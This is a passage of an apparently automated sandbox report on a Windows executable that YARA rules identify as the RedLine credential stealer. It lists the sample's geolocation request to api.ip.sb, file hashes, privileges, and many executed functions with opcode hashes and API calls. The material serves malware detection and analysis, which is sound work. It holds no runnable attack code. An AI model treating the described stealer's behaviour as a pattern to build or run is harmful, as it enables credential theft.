0	192.168.2.4	49732	172.67.75.172	443	7296	C:\Users\user\Desktop\VXB84UvyHp.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 03:12:07 UTC	64	OUT	GET /geoip HTTP/1.1 Host: api.ip.sb Connection: Keep-Alive
2025-01-22 03:12:08 UTC	939	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 03:12:08 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding Cache-Control: no-cache access-control-allow-origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JShr7nDGfP%2BZLE8Eu6e8DXhwt%2FvCT6Z67F5SX9JuPf7OAGqsMTgFp14qNzkve7q1xpZ3h1gVnh4SPlMoM4h1zJEY9J4kd47MhwS5dLv3bvxxGfCPAEokyAVYOw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 905c5c514db66a58-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2330&min_rtt=2328&rtt_var=877&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2806&recv_bytes=678&delivery_rate=1245733&cwnd=238&unsent_bytes=0&cid=4ab6a8f6c2d29b03&ts=465&x=0"
2025-01-22 03:12:08 UTC	351	IN	Data Raw: 31 35 38 0d 0a 7b 22 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 22 43 65 6e 74 75 72 79 4c 69 6e 6b 22 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 37 34 2e 30 30 36 36 2c 22 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 74 69 6d 65 7a 6f 6e 65 22 3a 22 41 6d 65 72 69 63 61 5c 2f 4e 65 77 5f 59 6f 72 6b 22 2c 22 69 73 70 22 3a 22 43 65 6e 74 75 72 79 4c 69 6e 6b 22 2c 22 6f 66 66 73 65 74 22 3a 2d 31 38 30 30 30 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 22 61 73 6e 22 3a 33 33 35 36 2c 22 61 73 6e 5f 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 3a 22 4c 45 56 45 4c 33 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 6c 61 74 69 74 75 64 65 Data Ascii: 158{"organization":"CenturyLink","longitude":-74.0066,"city":"New York","timezone":"America\/New_York","isp":"CenturyLink","offset":-18000,"region":"New York","asn":3356,"asn_organization":"LEVEL3","country":"United States","ip":"8.46.123.189","latitude
2025-01-22 03:12:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	22:11:58
Start date:	21/01/2025
Path:	C:\Users\user\Desktop\VXB84UvyHp.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\VXB84UvyHp.exe"
Imagebase:	0xab0000
File size:	97'792 bytes
MD5 hash:	4698A45D6F8DA200C396E56AF7B8D34F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000000.1688057182.0000000000AB2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000000.00000000.1688057182.0000000000AB2000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_f54632eb, Description: unknown, Source: 00000000.00000000.1688057182.0000000000AB2000.00000002.00000001.01000000.00000003.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	22:11:58
Start date:	21/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	11.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	30
Total number of Limit Nodes:	1

Executed Functions

Function 066E9628 Relevance: 16.2, Strings: 12, Instructions: 1188COMMON

Download Yara Rule

Strings

$^q, xrefs: 066E9CB3
$^q, xrefs: 066E9CCD
c^q, xrefs: 066E9FDC
$^q, xrefs: 066EA64B
Nv]q, xrefs: 066E9930
4c^q, xrefs: 066E9FBC
c^q, xrefs: 066E9FF6
,bq, xrefs: 066EA247
4c^q, xrefs: 066E9FA2
Hbq, xrefs: 066EA3E2
(_^q, xrefs: 066EA0DE
(_^q, xrefs: 066EA0C4

Memory Dump Source

Source File: 00000000.00000002.1824384991.00000000066E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66e0000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$,bq$4c^q$4c^q$Hbq$Nv]q$$^q$$^q$$^q$c^q$c^q
API String ID: 0-692146702
Opcode ID: c2bd149d695c662a226b5b21c74789c3107dc004bed5588d05250dba55d687e7
Instruction ID: 538512155d75f2a1ca852253d59966b2ea82c0434bb73b7b641042f0c192feac
Opcode Fuzzy Hash: c2bd149d695c662a226b5b21c74789c3107dc004bed5588d05250dba55d687e7
Instruction Fuzzy Hash: 84828470F811184FCBA9AB7D855026D66E3BFCCB40B2049A9D04ADF394EE25DC878BD5

Function 066EDD00 Relevance: 8.0, Strings: 6, Instructions: 465
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 066EDEE7
4|cq, xrefs: 066EE2ED
$^q, xrefs: 066EDDA5
$^q, xrefs: 066EDDB5
4'^q, xrefs: 066EDEF6
$^q, xrefs: 066EDD58

Memory Dump Source

Source File: 00000000.00000002.1824384991.00000000066E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66e0000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID: 4'^q$4|cq$$^q$$^q$$^q$$^q
API String ID: 0-997030528
Opcode ID: 886688cb6b86ad45fb3f229e2a157c3e5988ad8bbc93a5df690780d336c3f3a3
Instruction ID: 8d6fdaae0932245ae98ab5be399224d088ea2adc308f86a2f16377b6a6de3ebd
Opcode Fuzzy Hash: 886688cb6b86ad45fb3f229e2a157c3e5988ad8bbc93a5df690780d336c3f3a3
Instruction Fuzzy Hash: FF022A34B002198FDB54DFA9C854AAEBBF6BF88200F148469E409EB365DF359D46CF91

Function 066E3320 Relevance: 6.7, Strings: 5, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 066E36D0
Hbq, xrefs: 066E3701
Hbq, xrefs: 066E37C0
Hbq, xrefs: 066E3779
Hbq, xrefs: 066E3732

Memory Dump Source

Source File: 00000000.00000002.1824384991.00000000066E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66e0000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID: Hbq$Hbq$Hbq$Hbq$Hbq
API String ID: 0-1677660839
Opcode ID: 31b1a1caa8ee0c2562d8dfb03a5e56a70603ab4ef6d373061db4d2b63544d829
Instruction ID: 6bd795d791ab5f9f96dc9e5e3e8b336eaca9efe8c4a3b8149596910f256624b9
Opcode Fuzzy Hash: 31b1a1caa8ee0c2562d8dfb03a5e56a70603ab4ef6d373061db4d2b63544d829
Instruction Fuzzy Hash: B1028D31E1125ACFCB55CFB5C4502ADFBB2FF85300F24866AD456AB341EB35AA85CB90

Function 066ED108 Relevance: 1.7, Strings: 1, Instructions: 437COMMON

Download Yara Rule

Strings

Hbq, xrefs: 066ED4FB

Memory Dump Source

Source File: 00000000.00000002.1824384991.00000000066E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66e0000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: d862a3cf01099302e78a2940d0a5cc32a0c12d7b8fb4c7f9a8eeaf555924fdbe
Instruction ID: f283cb1463286e06fe5cec0a273dfe7e4a70b5091cfa9b61f1154c5184257d49
Opcode Fuzzy Hash: d862a3cf01099302e78a2940d0a5cc32a0c12d7b8fb4c7f9a8eeaf555924fdbe
Instruction Fuzzy Hash: 58F1C370A05266CFDB55CF75C4502ADFBF2AF96300B14C56AE885EF240E774DA86CB90

Function 02D2E7B0 Relevance: .9, Instructions: 927COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1813635104.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d20000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51138e7678e149c8fe17d73ebd257ffa1b4c7f7c56a81dd77017beca2e28fe4c
Instruction ID: 65fea698bff55945b378042d0c52fdf7632ba0f8024b8109b23e4c21e8c76c74
Opcode Fuzzy Hash: 51138e7678e149c8fe17d73ebd257ffa1b4c7f7c56a81dd77017beca2e28fe4c
Instruction Fuzzy Hash: E9820B74B002188FDB14DF64D998B6DBBB2BF98300F1085A9E54A9B3A5DF31AD85CF50

Function 066E4468 Relevance: .8, Instructions: 814COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824384991.00000000066E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66e0000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17228060966faa4220689bcff77943247dc19784e7bf6a63369b8aa4d85ccf20
Instruction ID: 78774c1ccb78cebf43d567d0d1740e01a9730f78cf06ec388610dec8990ddd22
Opcode Fuzzy Hash: 17228060966faa4220689bcff77943247dc19784e7bf6a63369b8aa4d85ccf20
Instruction Fuzzy Hash: D8826D38A11216CFDBA4DF38D958B6977F2BB44308F1041A8D9099B3A7EB349D85CF91

Function 066E1210 Relevance: .4, Instructions: 438COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824384991.00000000066E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66e0000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 368836c0a4c2a3bafba976628246d3f8200059903a3aafc71fe53e44f20e6365
Instruction ID: 0a7c78bac884ecd34ab639434ab581626bf0fc1681a4c16004542e339a369e38
Opcode Fuzzy Hash: 368836c0a4c2a3bafba976628246d3f8200059903a3aafc71fe53e44f20e6365
Instruction Fuzzy Hash: 6EF15074E002099FDB44DFF4C894ABEBBB6FF98300F508418E456AB354CA35AC55DB69

Function 066E75E8 Relevance: 1.6, APIs: 1, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,00000000,00000E20,?,?,066E74A6), ref: 066E7656

Memory Dump Source

Source File: 00000000.00000002.1824384991.00000000066E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66e0000_VXB84UvyHp.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 3c76da711339dc95abcb316c4bf385950d031fcc2ba0fef8bfac8c304e5dc9da
Instruction ID: bc1408f0f68f9aaeea5044b35aaa8a099a6236afad81cdc23762a8ee392559cc
Opcode Fuzzy Hash: 3c76da711339dc95abcb316c4bf385950d031fcc2ba0fef8bfac8c304e5dc9da
Instruction Fuzzy Hash: 511112B5C013498FCB20DFAAD444ADEFBF4AF88324F24842AD469A7711D374A546CFA5

Function 066E7148 Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(00000000,?,?,?,?,00000000,00000E20,?,?,066E74A6), ref: 066E7656

Memory Dump Source

Source File: 00000000.00000002.1824384991.00000000066E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 066E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_66e0000_VXB84UvyHp.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: b19753d6695a2f00994516aec681254d63e60c3803b741d2a469daf8feaccbbc
Instruction ID: 3479bb0f893379f068c9abf82c0851e1e790ec83a2e4e2e412744a56f38da1b5
Opcode Fuzzy Hash: b19753d6695a2f00994516aec681254d63e60c3803b741d2a469daf8feaccbbc
Instruction Fuzzy Hash: 081112B1D013498FCB20DF9AD444A9EFBF4AB88314F14842AD469A7310D375A545CFA4

Function 02D20CE0 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 02D20D47

Memory Dump Source

Source File: 00000000.00000002.1813635104.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d20000_VXB84UvyHp.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 3d3fc2c6e4af6e3ee12e080941e2e5e07c58f1f6a45462910db63e4b7e3a4b68
Instruction ID: 4ecf086c727fa1aa984f308188f78f0fd30c5b417dec3ac8a0a720e7e50cdf29
Opcode Fuzzy Hash: 3d3fc2c6e4af6e3ee12e080941e2e5e07c58f1f6a45462910db63e4b7e3a4b68
Instruction Fuzzy Hash: D61158B19003488FCB20DFAAC4457DEFFF4EB89324F20845AC459A7250C7756945CFA5

Function 02D20CE8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetConsoleWindow.KERNEL32 ref: 02D20D47

Memory Dump Source

Source File: 00000000.00000002.1813635104.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d20000_VXB84UvyHp.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 51f7d3874541c67caf9498f20f745ef22fe4669e32aadd9e0cceda683e22b083
Instruction ID: e779cfb81fad7b2445a36792a61a7a1fb166523d8ed7a9f37b786956d0949eac
Opcode Fuzzy Hash: 51f7d3874541c67caf9498f20f745ef22fe4669e32aadd9e0cceda683e22b083
Instruction Fuzzy Hash: 2511F5B19002598FCB20DFAAC4457DEFBF4EB48324F208419C459A7650C775A944CFA5

Function 0673349D Relevance: 1.3, Instructions: 1277COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824450263.0000000006730000.00000040.00000800.00020000.00000000.sdmp, Offset: 06730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6730000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 280178c61eb59e8e903ccb9ebd8e912f52fb120b6a86f0d58ac51c2a4c6453ec
Instruction ID: 003fa991143df5941efc5efcfc83160636c6eef407dd4a04f008437e21e055c2
Opcode Fuzzy Hash: 280178c61eb59e8e903ccb9ebd8e912f52fb120b6a86f0d58ac51c2a4c6453ec
Instruction Fuzzy Hash: 88A1D174B002948FCB54DB78C894A6EBBF2EF88710F14846AE516DB3A2DB35DC05CB61

Function 067319D0 Relevance: 1.0, Instructions: 1033COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824450263.0000000006730000.00000040.00000800.00020000.00000000.sdmp, Offset: 06730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6730000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 958a11d25eb96cda5bf89f7bf6dc330939ee7a809a8c73636bac5c5ff0b7db2e
Instruction ID: 649d13d479d327f8cd1103597937dbc0260b7c8d87283afdc4028956004e26cf
Opcode Fuzzy Hash: 958a11d25eb96cda5bf89f7bf6dc330939ee7a809a8c73636bac5c5ff0b7db2e
Instruction Fuzzy Hash: 73923D74B402189FCB25DB54CC90AEDBBB6FF88700F508499E649AB761DB319E81CF91

Function 06730048 Relevance: .7, Instructions: 664COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824450263.0000000006730000.00000040.00000800.00020000.00000000.sdmp, Offset: 06730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6730000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c418e607cd1fd539c8355e91ae7afbb270a8add1a7b6ca1d5808ba9fc99505f0
Instruction ID: 575024a4f7f491c3f53003103cf68c9b2d460aa0f7276e927101140f9deb9b6d
Opcode Fuzzy Hash: c418e607cd1fd539c8355e91ae7afbb270a8add1a7b6ca1d5808ba9fc99505f0
Instruction Fuzzy Hash: 5E427C30740A298FCB25AF68D5509AEBBB2FFC1301B104A5CD4429F3A5CF76E9458BD6

Function 067304F4 Relevance: .5, Instructions: 500COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824450263.0000000006730000.00000040.00000800.00020000.00000000.sdmp, Offset: 06730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6730000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1201cc161a3efc079e682d051a086ed12f46436ee5a3dad04a5b8fc54fbc6a57
Instruction ID: ce8395dda6d56b9221e39a69bd781bef65cd2c381a8b979757ecc5113abb6bba
Opcode Fuzzy Hash: 1201cc161a3efc079e682d051a086ed12f46436ee5a3dad04a5b8fc54fbc6a57
Instruction Fuzzy Hash: 62127030B406288FCF11EF68C550AAEBBF2FF85704F108958D5429F3A5CB76E9458B96

Function 0673056A Relevance: .5, Instructions: 465COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824450263.0000000006730000.00000040.00000800.00020000.00000000.sdmp, Offset: 06730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6730000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e53e7c5bc1d0f39c61ae276bb5663064ca778d83e7dac9b2169ba5706bda37d
Instruction ID: 4807b3ae04524f148c3a5ba54058fbf7597d57a8b4ac9e8df6214f2c2d171110
Opcode Fuzzy Hash: 2e53e7c5bc1d0f39c61ae276bb5663064ca778d83e7dac9b2169ba5706bda37d
Instruction Fuzzy Hash: 96029230B506188FDF10EF68C550AAEBBF2FF85704F108958D5429F3A6CBB6E9458B91

Function 067305E0 Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824450263.0000000006730000.00000040.00000800.00020000.00000000.sdmp, Offset: 06730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6730000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9785aaa2be0eb7dfefd9aaa189c691cdb6a68b213d8b46c665e907583dcec9c
Instruction ID: 248319e81adafb1b2b44038f542226f93fa8b49f34eb319985a8e484d68b8ff9
Opcode Fuzzy Hash: d9785aaa2be0eb7dfefd9aaa189c691cdb6a68b213d8b46c665e907583dcec9c
Instruction Fuzzy Hash: 0602B130B406188FDF10DF68C950AAEBBB2FF85704F008549D5429F3A6CBB6E9458B91

Function 06730656 Relevance: .4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824450263.0000000006730000.00000040.00000800.00020000.00000000.sdmp, Offset: 06730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6730000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: badaf34a57db7497246b796a153c47067b4705d8d323b9d14ee8150aa7ed9f2f
Instruction ID: 1fbabc24ad16e6cf6cf835b92e35372b9cb8a4556bfd89f475550b9e7201b0ec
Opcode Fuzzy Hash: badaf34a57db7497246b796a153c47067b4705d8d323b9d14ee8150aa7ed9f2f
Instruction Fuzzy Hash: E3F1AE30B506188FDF10DF68C950AAEBBB2FF85704F008549E5429F3A6CBB6E945CB91

Function 067306CC Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824450263.0000000006730000.00000040.00000800.00020000.00000000.sdmp, Offset: 06730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6730000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4da036841a4ecac136b1a590334f0739e45108f8dacb46d80af0e4f1e5b3c97
Instruction ID: f5b5412e718a35994e3fbf94798031698beed9ebd97288dd576f3dabc14aff74
Opcode Fuzzy Hash: a4da036841a4ecac136b1a590334f0739e45108f8dacb46d80af0e4f1e5b3c97
Instruction Fuzzy Hash: 40E18D30B506189FDF00DF68C954AAEBBB2FF85704F108459E5429F3A6CBB2D945CB92

Function 06730002 Relevance: .3, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824450263.0000000006730000.00000040.00000800.00020000.00000000.sdmp, Offset: 06730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6730000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 971e62c6b0a45aa5a84111e753021f3a81d41d82fb9850021b647747741239ce
Instruction ID: 6f4d02e471b31d55da1a96150ff6a66561df6c5c28f88b5843eb8367724f11de
Opcode Fuzzy Hash: 971e62c6b0a45aa5a84111e753021f3a81d41d82fb9850021b647747741239ce
Instruction Fuzzy Hash: 3DD1CC30B106188FDF01DF68C954B6A7BB2BF89700F04809AE5019F3A6CBB2DD45CB92

Function 067311A8 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824450263.0000000006730000.00000040.00000800.00020000.00000000.sdmp, Offset: 06730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6730000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a27e41bf8273518f1d443d1c8879818eef9e8cf4a9ccec2d56cebda6ac6bb078
Instruction ID: be67c192d39f2abe6571124286bc38590f344ad6bb61edc31210714f9a9a9270
Opcode Fuzzy Hash: a27e41bf8273518f1d443d1c8879818eef9e8cf4a9ccec2d56cebda6ac6bb078
Instruction Fuzzy Hash: C6512731B043258FCB54AF7AD98057ABBF5AFC6221B58C57AD806CB212EB31C845C7A1

Function 0673187A Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824450263.0000000006730000.00000040.00000800.00020000.00000000.sdmp, Offset: 06730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6730000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cfa2a3375986ba50a2f10756ff51040df0a728f28a8cc8898f57930b33a4227
Instruction ID: 429e1c8c04363417c9d4368baf5773edf310091d67c5ca65aa589ee1cf76d9ae
Opcode Fuzzy Hash: 9cfa2a3375986ba50a2f10756ff51040df0a728f28a8cc8898f57930b33a4227
Instruction Fuzzy Hash: D9411B35A442849FCB05DFA8C995D9D7FB2FF4A300B55809AE9859F362C672EC05CB21

Function 0673338B Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1824450263.0000000006730000.00000040.00000800.00020000.00000000.sdmp, Offset: 06730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6730000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b3c5bdcd7eb806102dd93e1911c040564053e982e5165f71156a232ffd04f3c
Instruction ID: f3475b7a12899d5b9bc15eba65030295adf132f3889b165a27958a0c62d49575
Opcode Fuzzy Hash: 5b3c5bdcd7eb806102dd93e1911c040564053e982e5165f71156a232ffd04f3c
Instruction Fuzzy Hash: 3F215A35B40014AFCB54DF69C994EA9BBB2EF88724F1184A9E9059F3A6DA31EC05CB10

Function 0107D054 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1812881874.000000000107D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0107D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_107d000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f910ef88e08f2c5a9ac60c9c96a58c1ed7420d0c5896717dc2c2dd68229b526
Instruction ID: 741960135575727aef3ff9638e59418c47a600122205d9b7bc6a8951f740e951
Opcode Fuzzy Hash: 2f910ef88e08f2c5a9ac60c9c96a58c1ed7420d0c5896717dc2c2dd68229b526
Instruction Fuzzy Hash: 9C210871900240EFCB16DF54D9C0B1ABFA5FF88314F24C6A9E9490B256C336D456CBA5

Function 0108D2C4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1812916961.000000000108D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_108d000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3879b211a989aa39ca416a27e01e31d5e76397d41509914462bc5ff9a3bd077b
Instruction ID: 13a57dcd8774a29c761d333e8d500cbdd8b6c67ad188118d698d6e26fddce15d
Opcode Fuzzy Hash: 3879b211a989aa39ca416a27e01e31d5e76397d41509914462bc5ff9a3bd077b
Instruction Fuzzy Hash: 3B213B71508204DFDB01EF58D5C0B2ABFA5FB84324F24C66DD8C94B286C33AD446C7A1

Function 0108D474 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1812916961.000000000108D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_108d000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 649b01236efacaabdda047ef1898efabf53cb33254d5f21bc8449611c3472da8
Instruction ID: 7f1c0c23fbd01f78679069ed2c304b515568027391de82991bc922cf40f58ecc
Opcode Fuzzy Hash: 649b01236efacaabdda047ef1898efabf53cb33254d5f21bc8449611c3472da8
Instruction Fuzzy Hash: 2C212971508200DFDB05EF98C5C4B26BBA5FB84318F20C6AED8C94B296C736D446CB72

Function 0107D04F Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1812881874.000000000107D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0107D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_107d000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7c8d58dc0dea2b6e01ffeb94055e7b182a7219ccea2c20f3472bf21e95a7b9d
Instruction ID: 5ba406608a1e8bf50c474e79dec8936c5e360fcaf35589fc79f3a6b96f11aa6e
Opcode Fuzzy Hash: c7c8d58dc0dea2b6e01ffeb94055e7b182a7219ccea2c20f3472bf21e95a7b9d
Instruction Fuzzy Hash: 3221CD72904280DFCB06CF44E9C4B16BFB2FF88314F28C2A9D9480A256C33AD466CB91

Function 0108D46F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1812916961.000000000108D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_108d000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 471ac43bf205e6f7adec8cf77e1bd176c36b649a9a0fff6532e77ef42b952f9a
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction Fuzzy Hash: 13119D75508280DFDB06DF54D5C4B15BFB2FB88318F24C6AAD8894B696C33AD44ACB62

Function 0108D2BF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1812916961.000000000108D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0108D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_108d000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72d23902bf60047e6ac5528eaef86f122a9a091f4bdaa5726a35430d0a81cb07
Instruction ID: c1343d37e82ff5c2744fc072074ffa680194aff934aedd5ab1cd0b401bb8593e
Opcode Fuzzy Hash: 72d23902bf60047e6ac5528eaef86f122a9a091f4bdaa5726a35430d0a81cb07
